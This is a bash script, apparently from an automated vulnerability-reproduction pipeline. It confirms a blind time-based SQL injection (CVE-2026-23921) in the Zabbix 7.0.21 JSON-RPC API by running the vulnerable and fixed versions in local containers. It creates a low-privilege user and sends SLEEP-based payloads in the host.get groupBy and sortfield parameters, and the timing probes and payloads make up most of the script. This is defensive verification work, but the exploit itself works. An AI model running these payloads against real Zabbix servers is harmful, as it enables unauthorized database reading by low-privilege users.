#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF_DIR="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF_DIR"
cd "$ROOT"

SESSION_LOG="$LOGS/reproduction_steps.log"
: >"$SESSION_LOG"
exec > >(tee -a "$SESSION_LOG") 2>&1

# Exact affected/fixed releases and immutable source identities.
VULN_VERSION="7.0.21"
FIXED_VERSION="7.0.22"
VULN_COMMIT="6542e21fe6adc8ab7bf903c2a9d1df80e80366cd"
FIXED_COMMIT="584690ce104180ead8cd5d4d963a02b5e59bbeed"
MYSQL_IMAGE="mysql@sha256:d58ac93387f644e4e040c636b8f50494e78e5afc27ca0a87348b2f577da2b7ff"
VULN_SERVER_IMAGE="zabbix/zabbix-server-mysql@sha256:f439bfbc47727925731ef8b4c03e3bcd02f8623fa8d3be8b7b7c60318c0bfa10"
VULN_WEB_IMAGE="zabbix/zabbix-web-apache-mysql@sha256:0282eba8bac999284672e3abaefbdd28b16026bae6a1673a7f560f35eb2c712d"
FIXED_SERVER_IMAGE="zabbix/zabbix-server-mysql@sha256:ab2d683523255594382442d5123da022164be8b73bf0fce9cf0f02db6b3b3a70"
FIXED_WEB_IMAGE="zabbix/zabbix-web-apache-mysql@sha256:42fa5722dd7695b91f9de649ecc7d7a04ba259ced968364104ca027193246c3a"

# Read prepared cache at runtime as required, but do not depend on a pre-existing
# checkout for the endpoint proof. The official product images are the targets.
CACHE_REPO="$ROOT/artifacts/zabbix"
if [ -r "$ROOT/project_cache_context.json" ]; then
  PREPARED_REPO="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, os, sys
try:
    c = json.load(open(sys.argv[1], encoding='utf-8'))
    p = os.path.join(c.get('project_cache_dir', ''), 'repo')
    print(p if c.get('prepared') is True and os.path.isdir(p) else '')
except Exception:
    print('')
PY
)"
  [ -z "$PREPARED_REPO" ] || CACHE_REPO="$PREPARED_REPO"
fi
printf 'Cache/source reference: %s\n' "$CACHE_REPO"

need() { command -v "$1" >/dev/null 2>&1 || { echo "missing required command: $1"; exit 2; }; }
for cmd in docker curl jq python3 sha256sum timeout; do need "$cmd"; done
timeout 20 docker info >/dev/null

# Recreate current-run proof. Every listed manifest artifact is finalized before
# the manifest is emitted; the still-open session log is intentionally excluded.
rm -rf "$PROOF_DIR"
mkdir -p "$PROOF_DIR"
# A runtime-backed attempt always leaves a manifest, including early failures.
cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api_jsonrpc.php, authenticated host.get with attacker-controlled groupBy and sortfield",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": "Attempt started but did not yet reach the confirmed endpoint proof; see logs/reproduction_steps.log."
}
JSON

RUN_KEY="zbx23921_${$}_$(date +%s)"
ACTIVE_STACK=""
cleanup() {
  if [ -n "$ACTIVE_STACK" ]; then
    docker rm -f "${ACTIVE_STACK}_web" "${ACTIVE_STACK}_server" "${ACTIVE_STACK}_db" >/dev/null 2>&1 || true
    docker network rm "${ACTIVE_STACK}_net" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT INT TERM

pull_image() {
  local image="$1"
  if ! docker image inspect "$image" >/dev/null 2>&1; then
    timeout 600 docker pull "$image"
  fi
}
for image in "$MYSQL_IMAGE" "$VULN_SERVER_IMAGE" "$VULN_WEB_IMAGE" "$FIXED_SERVER_IMAGE" "$FIXED_WEB_IMAGE"; do
  pull_image "$image"
done

wait_mysql() {
  local db="$1"
  for _ in $(seq 1 90); do
    if docker exec "$db" mysqladmin ping -uroot -pzbx_root_password --silent >/dev/null 2>&1; then return 0; fi
    sleep 2
  done
  echo "MySQL did not become ready"; return 1
}

wait_schema() {
  local db="$1"
  for _ in $(seq 1 180); do
    if docker exec "$db" mysql -uzabbix -pzbx_password -Nse \
       "SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='zabbix' AND table_name='users'" 2>/dev/null | grep -qx 1; then
      return 0
    fi
    sleep 2
  done
  echo "Zabbix schema was not initialized"; return 1
}

wait_http() {
  local url="$1" response
  for _ in $(seq 1 120); do
    response="$(curl -sS --max-time 3 -H 'Content-Type: application/json-rpc' \
      --data-binary '{"jsonrpc":"2.0","method":"apiinfo.version","params":{},"id":1}' "$url" 2>/dev/null || true)"
    if printf '%s' "$response" | jq -e '.result | type == "string"' >/dev/null 2>&1; then return 0; fi
    sleep 2
  done
  echo "Zabbix JSON-RPC endpoint did not become healthy"; return 1
}

rpc() {
  local url="$1" body="$2"
  curl -sS --fail --max-time 20 -H 'Content-Type: application/json-rpc' --data-binary "$body" "$url"
}

run_target() {
  local role="$1" version="$2" server_image="$3" web_image="$4" port="$5"
  local stack="${RUN_KEY}_${role}" out="$PROOF_DIR/$role"
  local db="${stack}_db" server="${stack}_server" web="${stack}_web" net="${stack}_net"
  local url="http://127.0.0.1:${port}/api_jsonrpc.php"
  mkdir -p "$out"
  ACTIVE_STACK="$stack"

  echo "=== Starting Zabbix $version ($role) ==="
  docker network create "${stack}_net" >/dev/null
  docker run -d --name "$db" --network "$net" --network-alias mysql-server \
    -e MYSQL_DATABASE=zabbix -e MYSQL_USER=zabbix -e MYSQL_PASSWORD=zbx_password \
    -e MYSQL_ROOT_PASSWORD=zbx_root_password "$MYSQL_IMAGE" \
    --character-set-server=utf8mb4 --collation-server=utf8mb4_bin >"$out/db.container"
  wait_mysql "$db"

  docker run -d --name "$server" --network "$net" \
    -e DB_SERVER_HOST=mysql-server -e MYSQL_DATABASE=zabbix -e MYSQL_USER=zabbix \
    -e MYSQL_PASSWORD=zbx_password -e MYSQL_ROOT_PASSWORD=zbx_root_password \
    "$server_image" >"$out/server.container"
  wait_schema "$db"

  docker run -d --name "$web" --network "$net" -p "127.0.0.1:${port}:8080" \
    -e DB_SERVER_HOST=mysql-server -e MYSQL_DATABASE=zabbix -e MYSQL_USER=zabbix \
    -e MYSQL_PASSWORD=zbx_password -e ZBX_SERVER_HOST="$server" -e PHP_TZ=UTC \
    "$web_image" >"$out/web.container"
  wait_http "$url"

  python3 - "$out/container_identity.json" "$db" "$server" "$web" <<'PYID'
import json, subprocess, sys
out, *names = sys.argv[1:]
rows = []
for name in names:
    raw = subprocess.check_output(['docker','inspect',name], text=True)
    i = json.loads(raw)[0]
    rows.append({
      'name': i['Name'].lstrip('/'), 'container_id': i['Id'], 'image_id': i['Image'],
      'image_reference': i['Config']['Image'], 'created': i['Created'],
      'running': i['State']['Running'], 'health': i['State'].get('Health',{}).get('Status'),
      'oci_labels': {k:v for k,v in (i['Config'].get('Labels') or {}).items()
                     if k.startswith('org.opencontainers.image.')},
      'ports': i['NetworkSettings'].get('Ports')
    })
with open(out,'w',encoding='utf-8') as f: json.dump(rows,f,indent=2,sort_keys=True); f.write('\n')
PYID
  docker logs "$server" >"$out/server_startup.log" 2>&1 || true
  docker logs "$web" >"$out/web_startup.log" 2>&1 || true
  docker exec "$web" /bin/sh -c 'php -r '\''require "/usr/share/zabbix/include/defines.inc.php"; echo ZABBIX_VERSION, PHP_EOL;'\'' 2>/dev/null || true' >"$out/product_version.txt"
  docker exec "$web" /bin/sh -c 'find /usr/share/zabbix -path "*/include/classes/api/CApiService.php" -type f -print -exec sha256sum {} \;' >"$out/loaded_component.txt"

  local login admin_token role_id group_id create_group create_user low_token user_id
  login='{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}'
  rpc "$url" "$login" >"$out/admin_login_response.json"
  admin_token="$(jq -er .result "$out/admin_login_response.json")"

  # Create a regular User-role account in its own group with read-only access to
  # the default "Zabbix servers" host group. This proves PR:L rather than relying
  # on the bootstrap Super Admin for the actual injection probes.
  role_id="$(rpc "$url" "{\"jsonrpc\":\"2.0\",\"method\":\"role.get\",\"params\":{\"output\":[\"roleid\",\"name\",\"type\"]},\"auth\":\"$admin_token\",\"id\":2}" | jq -er '.result[] | select((.type|tonumber)==1) | .roleid' | head -1)"
  group_id="$(rpc "$url" "{\"jsonrpc\":\"2.0\",\"method\":\"hostgroup.get\",\"params\":{\"output\":[\"groupid\",\"name\"],\"filter\":{\"name\":[\"Zabbix servers\"]}},\"auth\":\"$admin_token\",\"id\":3}" | jq -er '.result[0].groupid')"
  create_group="{\"jsonrpc\":\"2.0\",\"method\":\"usergroup.create\",\"params\":{\"name\":\"CVE23921 read only $role\",\"rights\":[{\"permission\":2,\"id\":\"$group_id\"}]},\"auth\":\"$admin_token\",\"id\":4}"
  rpc "$url" "$create_group" >"$out/usergroup_create_response.json"
  local usrgrp_id
  usrgrp_id="$(jq -er '.result.usrgrpids[0]' "$out/usergroup_create_response.json")"
  create_user="{\"jsonrpc\":\"2.0\",\"method\":\"user.create\",\"params\":{\"username\":\"repro_$role\",\"passwd\":\"ReproOnly-23921!\",\"roleid\":\"$role_id\",\"usrgrps\":[{\"usrgrpid\":\"$usrgrp_id\"}]},\"auth\":\"$admin_token\",\"id\":5}"
  rpc "$url" "$create_user" >"$out/user_create_response.json"
  user_id="$(jq -er '.result.userids[0]' "$out/user_create_response.json")"
  rpc "$url" "{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{\"username\":\"repro_$role\",\"password\":\"ReproOnly-23921!\",\"userData\":true},\"id\":6}" >"$out/low_user_login_response.private.json"
  low_token="$(jq -er '.result.sessionid' "$out/low_user_login_response.private.json")"
  jq '{jsonrpc,id,result:{userid:.result.userid,username:.result.username,roleid:.result.roleid,type:.result.type}}' "$out/low_user_login_response.private.json" >"$out/low_user_identity.json"
  rm -f "$out/low_user_login_response.private.json" "$out/admin_login_response.json"

  local baseline_body false_payload true_payload false_body true_body
  baseline_body="{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"output\":[\"hostid\"],\"limit\":1},\"auth\":\"$low_token\",\"id\":10}"
  false_payload='hostid,(SELECT IF(ascii(substring((version()),1,1))>126,SLEEP(2),0))'
  true_payload='hostid,(SELECT IF(ascii(substring((version()),1,1))>1,SLEEP(2),0))'
  false_body="{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"countOutput\":true,\"groupBy\":[\"hostid\",\"$false_payload\"],\"sortfield\":\"$false_payload\"},\"auth\":\"$low_token\",\"id\":11}"
  true_body="{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"countOutput\":true,\"groupBy\":[\"hostid\",\"$true_payload\"],\"sortfield\":\"$true_payload\"},\"auth\":\"$low_token\",\"id\":12}"
  printf '%s\n' "$false_body" | jq 'del(.auth)' >"$out/false_probe_request.json"
  printf '%s\n' "$true_body" | jq 'del(.auth)' >"$out/true_probe_request.json"
  rpc "$url" "$baseline_body" >"$out/baseline_response.json"
  jq -e '.result | length >= 1' "$out/baseline_response.json" >/dev/null

  python3 - "$url" "$false_body" "$true_body" "$out" "$role" <<'PY'
import json, statistics, sys, time, urllib.request
url, false_raw, true_raw, out, role = sys.argv[1:]
false_body, true_body = false_raw.encode(), true_raw.encode()
def one(body):
    request = urllib.request.Request(url, data=body, headers={'Content-Type':'application/json-rpc'})
    t0 = time.monotonic()
    with urllib.request.urlopen(request, timeout=15) as response:
        parsed = json.load(response)
    return time.monotonic() - t0, parsed
# Interleave matched predicates to limit drift. Three observations make the
# blind inference repeatable without turning this into a long data dump.
false_times, true_times, false_responses, true_responses = [], [], [], []
for _ in range(3):
    elapsed, response = one(false_body); false_times.append(elapsed); false_responses.append(response)
    elapsed, response = one(true_body); true_times.append(elapsed); true_responses.append(response)
summary = {
    'schema_version': 1, 'role': role, 'endpoint': '/api_jsonrpc.php',
    'method': 'host.get', 'authenticated_low_privilege': True,
    'false_predicate': 'ascii(substring(version(),1,1)) > 126',
    'true_predicate': 'ascii(substring(version(),1,1)) > 1',
    'sleep_seconds': 2, 'false_seconds': false_times, 'true_seconds': true_times,
    'false_median_seconds': statistics.median(false_times),
    'true_median_seconds': statistics.median(true_times),
    'median_delta_seconds': statistics.median(true_times)-statistics.median(false_times),
    'false_responses': false_responses, 'true_responses': true_responses,
}
with open(out + '/timing_results.json', 'w', encoding='utf-8') as f:
    json.dump(summary, f, indent=2, sort_keys=True); f.write('\n')
print(json.dumps({k:v for k,v in summary.items() if k not in ('false_responses','true_responses')}, sort_keys=True))
PY

  # Final logs become immutable now; no containers are used after this snapshot.
  docker logs "$web" >"$out/web_final.log" 2>&1 || true
  docker logs "$server" >"$out/server_final.log" 2>&1 || true
  jq -n --arg role "$role" --arg version "$version" --arg url "$url" \
    --arg user_id "$user_id" --arg role_id "$role_id" --arg group_id "$group_id" \
    '{role:$role,version:$version,endpoint:$url,api_user:{userid:$user_id,roleid:$role_id,read_only_host_groupid:$group_id}}' >"$out/attempt_metadata.json"

  docker rm -f "$web" "$server" "$db" >/dev/null
  docker network rm "$net" >/dev/null
  ACTIVE_STACK=""
}

# Separate clean databases provide a real fixed-version negative control.
run_target vulnerable "$VULN_VERSION" "$VULN_SERVER_IMAGE" "$VULN_WEB_IMAGE" 28081
run_target fixed "$FIXED_VERSION" "$FIXED_SERVER_IMAGE" "$FIXED_WEB_IMAGE" 28082

python3 - "$PROOF_DIR/vulnerable/timing_results.json" "$PROOF_DIR/fixed/timing_results.json" "$PROOF_DIR/verdict.json" <<'PY'
import json, sys
v = json.load(open(sys.argv[1])); f = json.load(open(sys.argv[2]))
# Vulnerable predicates must diverge by a clear fraction of SLEEP(2); fixed must
# fail closed (JSON error) or show no timing oracle.
def errors(x):
    return all('error' in r for r in x['false_responses'] + x['true_responses'])
vuln_timing = v['median_delta_seconds'] >= 1.5 and v['true_median_seconds'] >= 1.5
fixed_closed = errors(f) or f['median_delta_seconds'] < 0.75
out = {
  'schema_version':1, 'vulnerable_timing_oracle':vuln_timing,
  'fixed_negative_control':fixed_closed, 'fixed_rejected_payload':errors(f),
  'vulnerable_median_delta_seconds':v['median_delta_seconds'],
  'fixed_median_delta_seconds':f['median_delta_seconds'],
  'confirmed':bool(vuln_timing and fixed_closed)
}
with open(sys.argv[3], 'w') as h: json.dump(out,h,indent=2,sort_keys=True); h.write('\n')
print(json.dumps(out, sort_keys=True))
if not out['confirmed']: raise SystemExit(1)
PY

# Bind confirmed image identity and every finalized proof artifact.
VULN_WEB_REPO_DIGEST="$(docker image inspect "$VULN_WEB_IMAGE" --format '{{index .RepoDigests 0}}')"
VULN_WEB_ID="$(docker image inspect "$VULN_WEB_IMAGE" --format '{{.Id}}' | sed 's/^sha256://')"
TARGET_DIGEST="${VULN_WEB_REPO_DIGEST##*@sha256:}"
[ "${#TARGET_DIGEST}" -eq 64 ] || TARGET_DIGEST="$VULN_WEB_ID"

python3 - "$REPRO_DIR/runtime_manifest.json" "$PROOF_DIR" "$TARGET_DIGEST" "$VULN_COMMIT" "$VULN_WEB_REPO_DIGEST" <<'PY'
import hashlib, json, os, platform, sys
manifest_path, proof_dir, digest, commit, image = sys.argv[1:]
root = os.environ['PRUVA_ROOT']
selected = [
 'repro/proof/verdict.json',
 'repro/proof/vulnerable/attempt_metadata.json',
 'repro/proof/vulnerable/low_user_identity.json',
 'repro/proof/vulnerable/false_probe_request.json',
 'repro/proof/vulnerable/true_probe_request.json',
 'repro/proof/vulnerable/baseline_response.json',
 'repro/proof/vulnerable/timing_results.json',
 'repro/proof/vulnerable/product_version.txt',
 'repro/proof/vulnerable/loaded_component.txt',
 'repro/proof/vulnerable/container_identity.json',
 'repro/proof/vulnerable/web_final.log',
 'repro/proof/vulnerable/server_final.log',
 'repro/proof/fixed/attempt_metadata.json',
 'repro/proof/fixed/low_user_identity.json',
 'repro/proof/fixed/timing_results.json',
 'repro/proof/fixed/product_version.txt',
 'repro/proof/fixed/loaded_component.txt',
 'repro/proof/fixed/container_identity.json',
 'repro/proof/fixed/false_probe_request.json',
 'repro/proof/fixed/true_probe_request.json',
 'repro/proof/fixed/web_final.log',
 'repro/proof/fixed/server_final.log',
]
hashes = {}
for rel in selected:
    with open(os.path.join(root, rel), 'rb') as f: hashes[rel] = hashlib.sha256(f.read()).hexdigest()
manifest = {
 'entrypoint_kind':'endpoint',
 'entrypoint_detail':'POST /api_jsonrpc.php, authenticated host.get with attacker-controlled groupBy and sortfield',
 'service_started':True, 'healthcheck_passed':True, 'target_path_reached':True,
 'runtime_stack':['mysql:8.0.40','zabbix-server-mysql:7.0.21 and 7.0.22','zabbix-web-apache-mysql:7.0.21 and 7.0.22'],
 'target_identity':{
   'target_digest':digest, 'runtime_digest':digest, 'platform':'linux',
   'architecture':platform.machine(), 'image':image,
 },
 'proof_artifacts':selected, 'artifact_sha256':hashes,
 'notes':'Image-backed target. Official Zabbix 7.0.21 product image; corresponding source tag '+commit+'. Real authenticated JSON-RPC endpoint proof: low-privilege User role; repeatable timing oracle; clean 7.0.22 fixed negative control.'
}
with open(manifest_path,'w',encoding='utf-8') as f: json.dump(manifest,f,indent=2,sort_keys=True); f.write('\n')
PY

python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null
echo "CONFIRMED: CVE-2026-23921 blind SQL injection reached through the real Zabbix API endpoint."
